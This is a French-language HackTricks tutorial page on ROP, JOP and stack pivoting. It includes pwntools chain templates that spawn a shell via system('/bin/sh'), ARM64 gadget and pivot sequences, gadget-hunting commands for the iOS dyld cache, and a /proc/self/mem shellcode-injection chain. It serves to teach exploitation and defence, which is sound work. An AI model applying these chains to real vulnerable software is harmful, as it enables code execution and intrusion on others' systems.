ROP & JOP

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Return-Oriented Programming (ROP) est une technique d’exploitation avancée utilisée pour contourner des mesures de sécurité comme No-Execute (NX) ou Data Execution Prevention (DEP). Au lieu d’injecter et d’exécuter du shellcode, un attaquant réutilise des morceaux de code déjà présents dans le binaire ou dans des bibliothèques chargées, appelés “gadgets”. Chaque gadget se termine généralement par une instruction ret et effectue une petite opération, comme déplacer des données entre registres ou réaliser des opérations arithmétiques. En chaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi les protections NX/DEP.

Comment fonctionne ROP

  1. Control Flow Hijacking: Tout d’abord, un attaquant doit détourner le flux de contrôle d’un programme, généralement en exploitant un buffer overflow pour écraser une adresse de retour sauvegardée sur la pile.
  2. Gadget Chaining: L’attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour réaliser les actions souhaitées. Cela peut impliquer de préparer des arguments pour un appel de fonction, d’appeler la fonction (par ex. system("/bin/sh")) et de gérer le nettoyage ou des opérations supplémentaires nécessaires.
  3. Payload Execution: Quand la fonction vulnérable retourne, au lieu de revenir vers un emplacement légitime, elle commence à exécuter la chaîne de gadgets.

Outils

En général, les gadgets peuvent être trouvés en utilisant ROPgadget, ropper ou directement depuis pwntools (ROP).

Exemple de ROP Chain en x86

Conventions d’appel x86 (32-bit)

  • cdecl: Le caller nettoie la pile. Les arguments des fonctions sont poussés sur la pile dans l’ordre inverse (de droite à gauche). Les arguments sont poussés sur la pile de droite à gauche.
  • stdcall: Similaire à cdecl, mais le callee est responsable du nettoyage de la pile.

Trouver des gadgets

Commençons par supposer que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :

  • pop eax; ret: Ce gadget dépile la valeur en haut de la pile dans le registre EAX puis retourne, nous permettant de contrôler EAX.
  • pop ebx; ret: Similaire au précédent, mais pour le registre EBX, ce qui permet de contrôler EBX.
  • mov [ebx], eax; ret: Déplace la valeur de EAX vers l’emplacement mémoire pointé par EBX puis retourne. C’est souvent appelé un write-what-where gadget.
  • De plus, nous avons l’adresse de la fonction system() disponible.

ROP Chain

En utilisant pwntools, nous préparons la pile pour l’exécution de la ROP chain comme suit en visant à exécuter system('/bin/sh') ; notez comment la chaîne commence par :

  1. Une instruction ret pour des raisons d’alignement (optionnel)
  2. L’adresse de la fonction system (en supposant ASLR désactivé et libc connue, plus d’infos dans Ret2lib)
  3. Un placeholder pour l’adresse de retour de system()
  4. L’adresse de la chaîne "/bin/sh" (paramètre pour la fonction system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Exemple

x64 (64-bit) Conventions d’appel

  • Utilise la convention d’appel System V AMD64 ABI sur les systèmes de type Unix, où les six premiers arguments entiers ou pointeurs sont passés dans les registres RDI, RSI, RDX, RCX, R8 et R9. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dans RAX.
  • La convention d’appel Windows x64 utilise RCX, RDX, R8 et R9 pour les quatre premiers arguments entiers ou pointeurs, les arguments supplémentaires étant passés sur la pile. La valeur de retour est placée dans RAX.
  • Registres : les registres 64-bit incluent RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, et R8 à R15.

Finding Gadgets

Pour notre objectif, concentrons-nous sur des gadgets qui nous permettront de définir le registre RDI (pour passer la chaîne “/bin/sh” en tant qu’argument à system()) puis d’appeler la fonction system(). Nous supposerons que nous avons identifié les gadgets suivants :

  • pop rdi; ret: Dépile la valeur située au sommet de la pile dans RDI puis retourne. Essentiel pour définir notre argument pour system().
  • ret: Une instruction de retour simple, utile pour l’alignement de la pile dans certains scénarios.

Et nous connaissons l’adresse de la fonction system().

ROP Chain

Ci-dessous un exemple utilisant pwntools pour configurer et exécuter une ROP chain visant à exécuter system(‘/bin/sh’) sur x64 :

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Dans cet exemple :

  • Nous utilisons le gadget pop rdi; ret pour définir RDI à l’adresse de "/bin/sh".
  • Nous sautons directement vers system() après avoir défini RDI, l’adresse de system() étant dans la chaîne.
  • ret_gadget est utilisé pour l’alignement si l’environnement cible l’exige, ce qui est plus courant en x64 pour garantir un alignement correct de la pile avant d’appeler des fonctions.

Alignement de la pile

L’ABI x86-64 garantit que la pile est alignée sur 16 octets lorsqu’une instruction call est exécutée. LIBC, pour optimiser les performances, utilise des instructions SSE (comme movaps) qui exigent cet alignement. Si la pile n’est pas correctement alignée (c’est-à-dire que RSP n’est pas un multiple de 16), les appels à des fonctions comme system échoueront dans une ROP chain. Pour corriger cela, ajoutez simplement un ret gadget avant d’appeler system dans votre ROP chain.

Différence principale entre x86 et x64

Tip

Comme x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonctions simples, mais trouver et enchaîner les gadgets appropriés peut être plus complexe en raison du nombre accru de registres et du plus grand espace d’adressage. Le nombre accru de registres et le plus grand espace d’adressage de l’architecture x64 offrent à la fois des opportunités et des défis pour le développement d’exploits, en particulier dans le contexte de Return-Oriented Programming (ROP).

ROP chain en ARM64

Concernant les notions de base ARM64 & conventions d’appel, consultez la page suivante pour ces informations :

Introduction to ARM64v8

[!DANGER] Il est important de noter que lorsque l’on saute vers une fonction en utilisant un ROP en ARM64, il faut sauter vers la 2e instruction de la fonction (au moins) pour éviter de stocker dans la pile le pointeur de pile actuel et se retrouver dans une boucle éternelle appelant la fonction encore et encore.

Trouver des gadgets dans system Dylds

Les bibliothèques système sont compilées dans un seul fichier appelé dyld_shared_cache_arm64. Ce fichier contient toutes les bibliothèques système dans un format compressé. Pour télécharger ce fichier depuis l’appareil mobile, vous pouvez faire :

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Ensuite, vous pouvez utiliser quelques outils pour extraire les bibliothèques réelles du fichier dyld_shared_cache_arm64 :

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Maintenant, pour trouver des gadgets intéressants pour le binary que vous exploitez, vous devez d’abord savoir quelles bibliothèques sont chargées par le binary. Vous pouvez utiliser lldb* pour cela :

lldb ./vuln
br s -n main
run
image list

Enfin, vous pouvez utiliser Ropper pour trouver des gadgets dans les bibliothèques qui vous intéressent :

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP est une technique similaire à ROP, mais chaque gadget, au lieu d’utiliser une instruction RET à la fin du gadget, it uses jump addresses. Cela peut être particulièrement utile dans des situations où ROP n’est pas réalisable, par exemple lorsqu’aucun gadget approprié n’est disponible. Ceci est couramment utilisé dans les architectures ARM où l’instruction ret n’est pas aussi couramment utilisée que dans les architectures x86/x64.

Vous pouvez également utiliser des outils rop pour trouver des JOP gadgets, par exemple:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
  • Il y a un heap overflow qui nous permet d’écraser un function pointer stocké dans le heap et qui sera appelé.

  • x0 pointe vers le heap où nous contrôlons de l’espace

  • Depuis les bibliothèques système chargées, nous trouvons les gadgets suivants:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Nous pouvons utiliser le premier gadget pour charger x0 avec un pointeur vers /bin/sh (stocké dans le heap) puis charger x2 depuis x0 + 0x30 avec l’adresse de system et sauter vers celle-ci.

Stack Pivot

Stack pivoting est une technique utilisée en exploitation pour changer le stack pointer (RSP in x64, SP in ARM64) afin qu’il pointe vers une zone de mémoire contrôlée, comme le heap ou un buffer sur la stack, où l’attaquant peut placer son payload (généralement une ROP/JOP chain).

Exemples de Stack Pivoting chains:

  • Exemple juste 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Exemple — plusieurs gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode via /proc/self/mem (Embedded Linux)

Si vous avez déjà une ROP chain mais pas de RWX mappings, une alternative est d’écrire du shellcode dans le processus courant en utilisant /proc/self/mem puis d’y sauter. C’est courant sur les cibles Embedded Linux où /proc/self/mem peut ignorer les protections d’écriture sur les segments exécutables dans les configurations par défaut.

Idée typique de chaîne :

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

Si préserver fd est difficile, appeler open() plusieurs fois peut rendre faisable de deviner le descripteur utilisé pour /proc/self/mem. Sur les cibles ARM Thumb, n’oubliez pas de mettre le bit de poids faible lors du branchement (addr | 1).

Protections contre ROP et JOP

  • ASLR & PIE : Ces protections rendent l’utilisation de ROP plus difficile car les adresses des gadgets changent d’une exécution à l’autre.
  • Stack Canaries : En cas de BOF, il est nécessaire de contourner le Stack Canary stocké pour écraser les pointeurs de retour afin d’exploiter une chaîne ROP.
  • Absence de gadgets : S’il n’y a pas assez de gadgets, il ne sera pas possible de créer une chaîne ROP.

Techniques basées sur ROP

Notez que ROP est juste une technique pour exécuter du code arbitraire. À partir de ROP, de nombreuses techniques Ret2XXX ont été développées :

  • Ret2lib : utiliser ROP pour appeler des fonctions arbitraires d’une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme system('/bin/sh')).

Ret2lib

  • Ret2Syscall : utiliser ROP pour préparer un appel système, par ex. execve, et exécuter des commandes arbitraires.

Ret2syscall

  • EBP2Ret & EBP Chaining : le premier abuse d’EBP au lieu d’EIP pour contrôler le flux, et le second est similaire à Ret2lib mais dans ce cas le flux est principalement contrôlé par des adresses EBP (bien qu’il soit aussi nécessaire de contrôler EIP).

Stack Pivoting

Autres exemples & références

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks